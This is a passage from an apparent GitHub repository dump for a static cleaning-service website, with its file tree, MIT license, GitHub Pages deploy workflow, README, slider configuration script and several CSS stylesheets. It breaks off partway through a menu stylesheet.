├── images
├── icon-1.png
├── icon-2.png
├── img-1.png
├── img-2.png
├── img-3.png
├── img-4.png
├── img-5.png
├── img-6.png
├── img-7.png
├── logo.png
├── fb-icon.png
├── fb-icon1.png
├── map-icon.png
├── banner-bg.png
├── call-icon.png
├── carpet-img.png
├── carpet-img2.png
├── mail-icon.png
├── play-icon.png
├── search-icon.png
├── tiles-img.png
├── toggle-icon.png
├── contact-icon.png
├── contact-icon1.png
├── linkden-icon.png
├── linkden-icon1.png
├── twitter-icon.png
├── twitter-icon1.png
├── instagram-icon.png
└── instagram-icon1.png
├── LICENSE
├── .github
└── workflows
│ └── static.yml
├── css
├── slick.css
├── owl.carousel.min.css
├── bootstrap-reboot.min.css
├── nice-select.css
├── meanmenu.css
├── bootstrap-reboot.css
├── normalize.css
├── responsive.css
├── jquery.fancybox.min.css
├── default-skin.css
└── style.css
├── README.md
├── js
├── slider-setting.js
├── custom.js
├── jquery-3.0.0.min.js
└── popper.min.js
├── about.html
├── choose.html
├── contact.html
├── services.html
├── team.html
└── index.html
/images/icon-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/icon-1.png
--------------------------------------------------------------------------------
/images/icon-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/icon-2.png
--------------------------------------------------------------------------------
/images/img-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/img-1.png
--------------------------------------------------------------------------------
/images/img-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/img-2.png
--------------------------------------------------------------------------------
/images/img-3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/img-3.png
--------------------------------------------------------------------------------
/images/img-4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/img-4.png
--------------------------------------------------------------------------------
/images/img-5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/img-5.png
--------------------------------------------------------------------------------
/images/img-6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/img-6.png
--------------------------------------------------------------------------------
/images/img-7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/img-7.png
--------------------------------------------------------------------------------
/images/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/logo.png
--------------------------------------------------------------------------------
/images/fb-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/fb-icon.png
--------------------------------------------------------------------------------
/images/fb-icon1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/fb-icon1.png
--------------------------------------------------------------------------------
/images/map-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/map-icon.png
--------------------------------------------------------------------------------
/images/banner-bg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/banner-bg.png
--------------------------------------------------------------------------------
/images/call-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/call-icon.png
--------------------------------------------------------------------------------
/images/carpet-img.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/carpet-img.png
--------------------------------------------------------------------------------
/images/carpet-img2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/carpet-img2.png
--------------------------------------------------------------------------------
/images/mail-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/mail-icon.png
--------------------------------------------------------------------------------
/images/play-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/play-icon.png
--------------------------------------------------------------------------------
/images/search-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/search-icon.png
--------------------------------------------------------------------------------
/images/tiles-img.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/tiles-img.png
--------------------------------------------------------------------------------
/images/toggle-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/toggle-icon.png
--------------------------------------------------------------------------------
/images/contact-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/contact-icon.png
--------------------------------------------------------------------------------
/images/contact-icon1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/contact-icon1.png
--------------------------------------------------------------------------------
/images/linkden-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/linkden-icon.png
--------------------------------------------------------------------------------
/images/linkden-icon1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/linkden-icon1.png
--------------------------------------------------------------------------------
/images/twitter-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/twitter-icon.png
--------------------------------------------------------------------------------
/images/twitter-icon1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/twitter-icon1.png
--------------------------------------------------------------------------------
/images/instagram-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/instagram-icon.png
--------------------------------------------------------------------------------
/images/instagram-icon1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Krypto-etox/Cleaning-Website/HEAD/images/instagram-icon1.png
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 Krypto-Etox
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/.github/workflows/static.yml:
--------------------------------------------------------------------------------
1 | # Simple workflow for deploying static content to GitHub Pages
2 | name: Deploy static content to Pages
3 |
4 | on:
5 | # Runs on pushes targeting the default branch
6 | push:
7 | branches: ["main"]
8 |
9 | # Allows you to run this workflow manually from the Actions tab
10 | workflow_dispatch:
11 |
12 | # Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
13 | permissions:
14 | contents: read
15 | pages: write
16 | id-token: write
17 |
18 | # Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
19 | # However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
20 | concurrency:
21 | group: "pages"
22 | cancel-in-progress: false
23 |
24 | jobs:
25 | # Single deploy job since we're just deploying
26 | deploy:
27 | environment:
28 | name: github-pages
29 | url: ${{ steps.deployment.outputs.page_url }}
30 | runs-on: ubuntu-latest
31 | steps:
32 | - name: Checkout
33 | uses: actions/checkout@v4
34 | - name: Setup Pages
35 | uses: actions/configure-pages@v5
36 | - name: Upload artifact
37 | uses: actions/upload-pages-artifact@v3
38 | with:
39 | # Upload entire repository
40 | path: '.'
41 | - name: Deploy to GitHub Pages
42 | id: deployment
43 | uses: actions/deploy-pages@v4
44 |
--------------------------------------------------------------------------------
/css/slick.css:
--------------------------------------------------------------------------------
1 | /*---------------------------------------------------------------------
2 | File Name: slick.css
3 | ---------------------------------------------------------------------*/
4 |
5 | .slick-slider {
6 | position: relative;
7 | display: block;
8 | -moz-box-sizing: border-box;
9 | box-sizing: border-box;
10 | -webkit-user-select: none;
11 | -moz-user-select: none;
12 | -ms-user-select: none;
13 | user-select: none;
14 | -webkit-touch-callout: none;
15 | -khtml-user-select: none;
16 | -ms-touch-action: pan-y;
17 | touch-action: pan-y;
18 | -webkit-tap-highlight-color: transparent;
19 | }
20 |
21 | .slick-list {
22 | position: relative;
23 | display: block;
24 | overflow: hidden;
25 | margin: 0;
26 | padding: 0;
27 | }
28 |
29 | .slick-list:focus {
30 | outline: none;
31 | }
32 |
33 | .slick-list.dragging {
34 | cursor: pointer;
35 | cursor: hand;
36 | }
37 |
38 | .slick-slider .slick-track,
39 | .slick-slider .slick-list {
40 | -webkit-transform: translate3d(0, 0, 0);
41 | -moz-transform: translate3d(0, 0, 0);
42 | -ms-transform: translate3d(0, 0, 0);
43 | -o-transform: translate3d(0, 0, 0);
44 | transform: translate3d(0, 0, 0);
45 | }
46 |
47 | .slick-track {
48 | position: relative;
49 | top: 0;
50 | left: 0;
51 | display: block;
52 | }
53 |
54 | .slick-track:before,
55 | .slick-track:after {
56 | display: table;
57 | content: '';
58 | }
59 |
60 | .slick-track:after {
61 | clear: both;
62 | }
63 |
64 | .slick-loading .slick-track {
65 | visibility: hidden;
66 | }
67 |
68 | .slick-slide {
69 | display: none;
70 | float: left;
71 | height: 100%;
72 | min-height: 1px;
73 | }
74 |
75 | [dir='rtl'] .slick-slide {
76 | float: right;
77 | }
78 |
79 | .slick-slide img {
80 | display: block;
81 | }
82 |
83 | .slick-slide.slick-loading img {
84 | display: none;
85 | }
86 |
87 | .slick-slide.dragging img {
88 | pointer-events: none;
89 | }
90 |
91 | .slick-initialized .slick-slide {
92 | display: block;
93 | }
94 |
95 | .slick-loading .slick-slide {
96 | visibility: hidden;
97 | }
98 |
99 | .slick-vertical .slick-slide {
100 | display: block;
101 | height: auto;
102 | border: 1px solid transparent;
103 | }
104 |
105 | .slick-arrow.slick-hidden {
106 | display: none;
107 | }
108 |
109 |
--------------------------------------------------------------------------------
/css/owl.carousel.min.css:
--------------------------------------------------------------------------------
1 | /**
2 | * Owl Carousel v2.3.3
3 | * Copyright 2013-2018 David Deutsch
4 | * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
5 | */
6 | .owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-dots.disabled,.owl-carousel .owl-nav.disabled{display:none}.no-js .owl-carousel,.owl-carousel.owl-loaded{display:block}.owl-carousel .owl-dot,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-nav .owl-prev{cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel .owl-nav button.owl-next,.owl-carousel .owl-nav button.owl-prev,.owl-carousel button.owl-dot{background:0 0;color:inherit;border:none;padding:0!important;font:inherit}.owl-carousel.owl-loading{opacity:0;display:block}.owl-carousel.owl-hidden{opacity:0}.owl-carousel.owl-refresh .owl-item{visibility:hidden}.owl-carousel.owl-drag .owl-item{-ms-touch-action:none;touch-action:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel.owl-grab{cursor:move;cursor:grab}.owl-carousel.owl-rtl{direction:rtl}.owl-carousel.owl-rtl .owl-item{float:right}.owl-carousel .animated{animation-duration:1s;animation-fill-mode:both}.owl-carousel .owl-animated-in{z-index:0}.owl-carousel .owl-animated-out{z-index:1}.owl-carousel .fadeOut{animation-name:fadeOut}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.owl-height{transition:height .5s ease-in-out}.owl-carousel .owl-item .owl-lazy{opacity:0;transition:opacity .4s ease}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:absolute;height:80px;width:80px;left:50%;top:50%;margin-left:-40px;margin-top:-40px;background:url(owl.video.play.png) no-repeat;cursor:pointer;z-index:1;-webkit-backface-visibility:hidden;transition:transform .1s ease}.owl-carousel .owl-video-play-icon:hover{-ms-transform:scale(1.3,1.3);transform:scale(1.3,1.3)}.owl-carousel .owl-video-playing .owl-video-play-icon,.owl-carousel .owl-video-playing .owl-video-tn{display:none}.owl-carousel .owl-video-tn{opacity:0;height:100%;background-position:center center;background-repeat:no-repeat;background-size:contain;transition:opacity .4s ease}.owl-carousel .owl-video-frame{position:relative;z-index:1;height:100%;width:100%}
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 🧹 Cleaning Website
2 |
3 | Welcome to the **Cleaning Website** repository! This project is aimed at providing a user-friendly interface for a cleaning service. Whether you're looking to hire a cleaning service or need inspiration to tidy up, this website has you covered.
4 |
5 | 🔗 **Live Site**: [Cleaning Website](https://krypto-etox.github.io/Cleaning-Website/)
6 |
7 | ## 📋 Table of Contents
8 | - [Overview](#overview)
9 | - [Features](#features)
10 | - [Technologies Used](#technologies-used)
11 | - [Installation](#installation)
12 | - [Usage](#usage)
13 | - [Contributing](#contributing)
14 | - [License](#license)
15 | - [Contact](#contact)
16 |
17 | ## 🌟 Overview
18 | This Cleaning Website offers a sleek and intuitive interface to book cleaning services, get quotes, and learn more about the services offered. It’s designed to be responsive and user-friendly, ensuring a seamless experience across all devices.
19 |
20 | ## ✨ Features
21 | - 🏠 **Home Page**: Introduction and overview of services.
22 | - 📅 **Booking System**: Schedule your cleaning services.
23 | - 💵 **Get a Quote**: Instant price estimation for various services.
24 | - 📞 **Contact Form**: Easy to reach out for inquiries.
25 | - 📱 **Responsive Design**: Looks great on both desktop and mobile devices.
26 |
27 | ## 💻 Technologies Used
28 | - **HTML5**: Markup language for creating the structure of the website.
29 | - **CSS3**: Styling the website for an appealing look.
30 | - **JavaScript**: Adding interactivity to the website.
31 | - **Bootstrap**: Framework for responsive design.
32 | - **GitHub Pages**: Hosting the website.
33 |
34 | ## 🛠️ Installation
35 | To run this project locally, follow these steps:
36 |
37 | 1. **Clone the repository**:
38 | ```bash
39 | git clone https://github.com/krypto-etox/Cleaning-Website.git
40 | ```
41 |
42 | 2. **Navigate to the project directory**:
43 | ```bash
44 | cd Cleaning-Website
45 | ```
46 |
47 | 3. **Open `index.html` in your preferred browser**:
48 | ```bash
49 | open index.html
50 | ```
51 |
52 | ## 🚀 Usage
53 | Visit the [live site](https://krypto-etox.github.io/Cleaning-Website/) to explore the features. Navigate through the different sections using the menu and utilize the booking system to schedule your cleaning services.
54 |
55 | ## 🤝 Contributing
56 | We welcome contributions! To contribute, please follow these steps:
57 |
58 | 1. **Fork the repository**.
59 | 2. **Create a new branch**:
60 | ```bash
61 | git checkout -b feature/your-feature-name
62 | ```
63 |
64 | 3. **Commit your changes**:
65 | ```bash
66 | git commit -m 'Add your feature'
67 | ```
68 |
69 | 4. **Push to the branch**:
70 | ```bash
71 | git push origin feature/your-feature-name
72 | ```
73 |
74 | 5. **Create a Pull Request**.
75 |
76 | ## 📄 License
77 | This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for more information.
78 |
79 | ## 📬 Contact
80 | For any inquiries or feedback, feel free to reach out:
81 |
82 |
83 | - **GitHub**: [krypto-etox](https://github.com/krypto-etox)
84 |
85 | ---
86 |
87 | Thank you for visiting the Cleaning Website repository! We hope you find it useful and easy to navigate. Happy cleaning! 🧼✨
88 |
--------------------------------------------------------------------------------
/js/slider-setting.js:
--------------------------------------------------------------------------------
1 | /*---------------------------------------------------------------------
2 | File Name: slider-setting.js
3 | ---------------------------------------------------------------------*/
4 |
5 | "use strict";
6 | var tpj = jQuery;
7 |
8 | var revapi486;
9 | tpj(document).ready(function () {
10 | if (tpj("#rev_slider_486_1").revolution == undefined) {
11 | revslider_showDoubleJqueryError("#rev_slider_486_1");
12 | } else {
13 | revapi486 = tpj("#rev_slider_486_1").show().revolution({
14 | sliderType: "standard",
15 | jsFileLocation: "revolution/js/",
16 | sliderLayout: "fullscreen",
17 | dottedOverlay: "none",
18 | delay: 5000,
19 | navigation: {
20 | keyboardNavigation: "on",
21 | keyboard_direction: "horizontal",
22 | mouseScrollNavigation: "off",
23 | mouseScrollReverse: "default",
24 | onHoverStop: "on",
25 | touch: {
26 | touchenabled: "on",
27 | swipe_threshold: 75,
28 | swipe_min_touches: 1,
29 | swipe_direction: "horizontal",
30 | drag_block_vertical: false
31 | },
32 | arrows: {
33 | style: "gyges",
34 | enable: true,
35 | hide_onmobile: false,
36 | hide_onleave: true,
37 | hide_delay: 200,
38 | hide_delay_mobile: 1200,
39 | tmp: '',
40 | left: {
41 | h_align: "left",
42 | v_align: "center",
43 | h_offset: 0,
44 | v_offset: 0
45 | },
46 | right: {
47 | h_align: "right",
48 | v_align: "center",
49 | h_offset: 0,
50 | v_offset: 0
51 | }
52 | },
53 | bullets: {
54 | enable: true,
55 | hide_onmobile: true,
56 | hide_under: 800,
57 | style: "hebe",
58 | hide_onleave: false,
59 | direction: "horizontal",
60 | h_align: "center",
61 | v_align: "bottom",
62 | h_offset: 0,
63 | v_offset: 30,
64 | space: 5,
65 | tmp: ' '
66 | }
67 | },
68 | viewPort: {
69 | enable: true,
70 | outof: "pause",
71 | visible_area: "70%",
72 | presize: false
73 | },
74 | responsiveLevels: [1240, 1024, 778, 480],
75 | visibilityLevels: [1240, 1024, 778, 480],
76 | gridwidth: [1240, 1024, 778, 480],
77 | gridheight: [500, 450, 400, 350],
78 | lazyType: "none",
79 | parallax: {
80 | type: "scroll",
81 | origo: "enterpoint",
82 | speed: 400,
83 | levels: [5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 46, 47, 48, 49, 50, 55],
84 | type: "scroll",
85 | },
86 | shadow: 0,
87 | spinner: "off",
88 | stopLoop: "off",
89 | stopAfterLoops: -1,
90 | stopAtSlide: -1,
91 | shuffle: "off",
92 | autoHeight: "off",
93 | hideThumbsOnMobile: "off",
94 | hideSliderAtLimit: 0,
95 | hideCaptionAtLimit: 0,
96 | hideAllCaptionAtLilmit: 0,
97 | debugMode: false,
98 | fallbacks: {
99 | simplifyAll: "off",
100 | nextSlideOnWindowFocus: "off",
101 | disableFocusListener: false,
102 | }
103 | });
104 | }
105 | });
--------------------------------------------------------------------------------
/css/bootstrap-reboot.min.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)
3 | * Copyright 2011-2018 The Bootstrap Authors
4 | * Copyright 2011-2018 Twitter, Inc.
5 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
6 | * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)
7 | */*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}
8 | /*# sourceMappingURL=bootstrap-reboot.min.css.map */
--------------------------------------------------------------------------------
/css/nice-select.css:
--------------------------------------------------------------------------------
1 | /*---------------------------------------------------------------------
2 | File Name: nice-select.css
3 | ---------------------------------------------------------------------*/
4 |
5 | .nice-select {
6 | background-color: #f6f6f6;
7 | border-radius: 0;
8 | box-sizing: border-box;
9 | clear: both;
10 | display: block;
11 | float: left;
12 | height: auto;
13 | outline: none;
14 | padding-left: 20px;
15 | padding-right: 35px;
16 | position: relative;
17 | -webkit-transition: all 0.2s ease-in-out;
18 | transition: all 0.2s ease-in-out;
19 | -webkit-user-select: none;
20 | -moz-user-select: none;
21 | -ms-user-select: none;
22 | user-select: none;
23 | width: 50%;
24 | cursor: pointer;
25 | font-family: inherit;
26 | font-weight: normal;
27 | line-height: 50px;
28 | text-align: left !important;
29 | white-space: nowrap;
30 | font-weight: 300;
31 | }
32 |
33 | .nice-select:after {
34 | border-bottom: 2px solid #999;
35 | border-right: 2px solid #999;
36 | content: '';
37 | display: block;
38 | height: 5px;
39 | margin-top: -4px;
40 | pointer-events: none;
41 | position: absolute;
42 | right: 12px;
43 | top: 50%;
44 | -webkit-transform-origin: 66% 66%;
45 | -ms-transform-origin: 66% 66%;
46 | transform-origin: 66% 66%;
47 | -webkit-transform: rotate(45deg);
48 | -ms-transform: rotate(45deg);
49 | transform: rotate(45deg);
50 | -webkit-transition: all 0.15s ease-in-out;
51 | transition: all 0.15s ease-in-out;
52 | width: 5px;
53 | }
54 |
55 | .nice-select.open:after {
56 | -webkit-transform: rotate(-135deg);
57 | -ms-transform: rotate(-135deg);
58 | transform: rotate(-135deg);
59 | }
60 |
61 | .nice-select.open .list {
62 | opacity: 1;
63 | pointer-events: auto;
64 | -webkit-transform: scale(1) translateY(0);
65 | -ms-transform: scale(1) translateY(0);
66 | transform: scale(1) translateY(0);
67 | }
68 |
69 | .nice-select.disabled {
70 | border-color: #ededed;
71 | color: #999;
72 | pointer-events: none;
73 | }
74 |
75 | .nice-select.disabled:after {
76 | border-color: #cccccc;
77 | }
78 |
79 | .nice-select.wide {
80 | width: 100%;
81 | }
82 |
83 | .nice-select.wide .list {
84 | left: 0 !important;
85 | right: 0 !important;
86 | }
87 |
88 | .nice-select.right {
89 | float: right;
90 | }
91 |
92 | .nice-select.right .list {
93 | left: auto;
94 | right: 0;
95 | }
96 |
97 | .nice-select.small {
98 | font-size: 12px;
99 | height: 36px;
100 | line-height: 34px;
101 | }
102 |
103 | .nice-select.small:after {
104 | height: 4px;
105 | width: 4px;
106 | }
107 |
108 | .nice-select.small .option {
109 | line-height: 34px;
110 | min-height: 34px;
111 | }
112 |
113 | .nice-select .list {
114 | background-color: #fff;
115 | border-radius: 5px;
116 | box-shadow: 0 0 0 1px rgba(68, 68, 68, 0.11);
117 | box-sizing: border-box;
118 | margin-top: 4px;
119 | opacity: 0;
120 | overflow: hidden;
121 | padding: 0;
122 | pointer-events: none;
123 | position: absolute;
124 | top: 100%;
125 | left: 0;
126 | -webkit-transform-origin: 50% 0;
127 | -ms-transform-origin: 50% 0;
128 | transform-origin: 50% 0;
129 | -webkit-transform: scale(0.75) translateY(-21px);
130 | -ms-transform: scale(0.75) translateY(-21px);
131 | transform: scale(0.75) translateY(-21px);
132 | -webkit-transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out;
133 | transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out;
134 | z-index: 9;
135 | }
136 |
137 | .nice-select .list:hover .option:not(:hover) {
138 | background-color: transparent !important;
139 | }
140 |
141 | .nice-select .option {
142 | cursor: pointer;
143 | font-weight: 400;
144 | line-height: 40px;
145 | list-style: none;
146 | min-height: 40px;
147 | outline: none;
148 | padding-left: 18px;
149 | padding-right: 29px;
150 | text-align: left;
151 | -webkit-transition: all 0.2s;
152 | transition: all 0.2s;
153 | }
154 |
155 | .nice-select .option:hover,
156 | .nice-select .option.focus,
157 | .nice-select .option.selected.focus {
158 | background-color: #f6f6f6;
159 | }
160 |
161 | .nice-select .option.selected {
162 | font-weight: bold;
163 | }
164 |
165 | .nice-select .option.disabled {
166 | background-color: transparent;
167 | color: #999;
168 | cursor: default;
169 | }
170 |
171 | .no-csspointerevents .nice-select .list {
172 | display: none;
173 | }
174 |
175 | .no-csspointerevents .nice-select.open .list {
176 | display: block;
177 | }
178 |
--------------------------------------------------------------------------------
/css/meanmenu.css:
--------------------------------------------------------------------------------
1 | /*--------------------------------------------------------------------- File Name: meanmenu.css ---------------------------------------------------------------------*/
2 |
3 | a.meanmenu-reveal {
4 | display: none;
5 | }
6 |
7 | .mean-container .mean-bar {
8 | background: #308409;
9 | float: left;
10 | min-height: 40px;
11 | padding: 5px 0;
12 | position: relative;
13 | width: 100%;
14 | z-index: 999;
15 | }
16 |
17 | .mean-container a.meanmenu-reveal {
18 | color: #fff;
19 | cursor: pointer;
20 | display: block;
21 | font-family: 'Roboto', sans-serif;
22 | font-weight: 400;
23 | height: 22px;
24 | line-height: 22px;
25 | position: absolute;
26 | right: 12px;
27 | text-decoration: none;
28 | top: 12px;
29 | width: 26px;
30 | }
31 |
32 | .mean-container a.meanmenu-reveal span {
33 | background: #ffffff none repeat scroll 0 0;
34 | border-radius: 0;
35 | display: block;
36 | height: 4px;
37 | margin-top: 3px;
38 | width: auto;
39 | }
40 |
41 | .mean-container a.meanmenu-reveal span:first-child {
42 | margin: 0
43 | }
44 |
45 | .mean-container .mean-nav {
46 | background: #ffffff none repeat scroll 0 0;
47 | float: left;
48 | margin-top: 44px;
49 | width: 100%;
50 | }
51 |
52 | .mean-container .mean-nav ul {
53 | padding: 0;
54 | margin: 0;
55 | width: 100%;
56 | list-style-type: none;
57 | }
58 |
59 | .mean-container .mean-nav ul li {
60 | position: relative;
61 | float: left;
62 | width: 100%;
63 | }
64 |
65 | .mean-container .mean-nav ul li a {
66 | border-bottom: 1px solid #ccc;
67 | color: #383838;
68 | display: block;
69 | float: left;
